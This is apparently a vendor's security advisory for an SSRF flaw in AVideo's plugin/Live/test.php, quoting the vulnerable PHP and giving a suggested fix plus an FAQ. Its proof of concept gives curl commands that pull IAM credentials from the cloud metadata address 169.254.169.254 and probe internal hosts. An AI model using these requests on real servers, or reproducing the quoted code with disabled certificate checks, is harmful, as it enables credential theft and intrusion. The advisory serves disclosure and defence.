GHSA-WXJX-R2J2-96FX

The plugin/Live/test.php endpoint accepts a URL via the statsURL parameter and fetches it server-side using file_get_contents(), curl_exec(), or wget, returning the full response content in the HTML output. The only validation is a trivial regex (/^http/) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides isSSRFSafeURL() which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.

Details

The vulnerable code path is in plugin/Live/test.php:

User input (line 11):

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}

The regex /^http/ only verifies the URL starts with "http", it does not validate the host, resolve DNS, or check against private/reserved IP ranges.

Sink, file_get_contents (line 58-68):

if (ini_get('allow_url_fopen')) {
    try {
        $tmp = file_get_contents($url, false, $context);
        _log('file_get_contents:: '.htmlentities($tmp));

Sink, curl_exec (line 73-94):

} elseif (function_exists('curl_init')) {
    $ch = curl_init();
    // ...
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // ...
    $output = curl_exec($ch);
    // ...
    _log('curl_init:: '.htmlentities($output));

Sink, wget (line 114):

if (wget($url, $filename)) {
    $result = file_get_contents($filename);
    _log('wget:: '.htmlentities($result));

All three code paths output the full response content to the user via _log(), which echoes to the HTML response (line 155-160).

The codebase provides isSSRFSafeURL() at objects/functions.php:4025 which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported objects/aVideoEncoder.json.php, but plugin/Live/test.php does not call it.

Additionally, SSL certificate verification is disabled on both the file_get_contents stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.

The endpoint also lacks CSRF token validation while accepting GET requests via $_REQUEST, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).

PoC

Step 1: Authenticate as admin and obtain session cookie

# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \
  -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')

Step 2: Read AWS cloud metadata (IAM credentials)

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

Expected output: HTML page containing the full cloud metadata response including IAM role names.

Step 3: Read IAM credentials for a specific role

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'

Expected output: JSON containing AccessKeyId, SecretAccessKey, and Token for the IAM role.

Step 4: Scan internal services

curl -b "PHPSESSID=${PHPSESSID}" \
  'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'

Expected output: Full response from internal service at 192.168.1.1:8080.

An authenticated admin can:

• Read cloud metadata credentials: Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.
• Enumerate internal services: Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.
• Port scan internal infrastructure: Determine which internal hosts and ports are active based on response timing and content.
• Bypass network segmentation: Reach services behind firewalls that trust the AVideo server's IP address.

The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it, compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

GHSA-WXJX-R2J2-96FX has a CVSS score of 4.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add isSSRFSafeURL() validation before fetching the URL. In plugin/Live/test.php, after line 15:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    _log('this is not a URL ');
    exit;
}

// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {
    _log('URL failed SSRF safety check: ' . htmlentities($statsURL));
    exit;
}

Additionally, enable SSL verification in the curl handler (lines 79-80):

// Replace:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// With:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

And in the stream context (lines 45-49):

// Replace:
"ssl" => [
    "verify_peer" => false,
    "verify_peer_name" => false,
    "allow_self_signed" => true,
],
// With:
"ssl" => [
    "verify_peer" => true,
    "verify_peer_name" => true,
    "allow_self_signed" => false,
],

1. What is GHSA-WXJX-R2J2-96FX? GHSA-WXJX-R2J2-96FX is a medium-severity server-side request forgery (SSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is GHSA-WXJX-R2J2-96FX? GHSA-WXJX-R2J2-96FX has a CVSS score of 4.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by GHSA-WXJX-R2J2-96FX? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for GHSA-WXJX-R2J2-96FX? No fixed version is listed for GHSA-WXJX-R2J2-96FX yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-WXJX-R2J2-96FX exploitable, and should I be worried? Whether GHSA-WXJX-R2J2-96FX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-WXJX-R2J2-96FX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-WXJX-R2J2-96FX? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.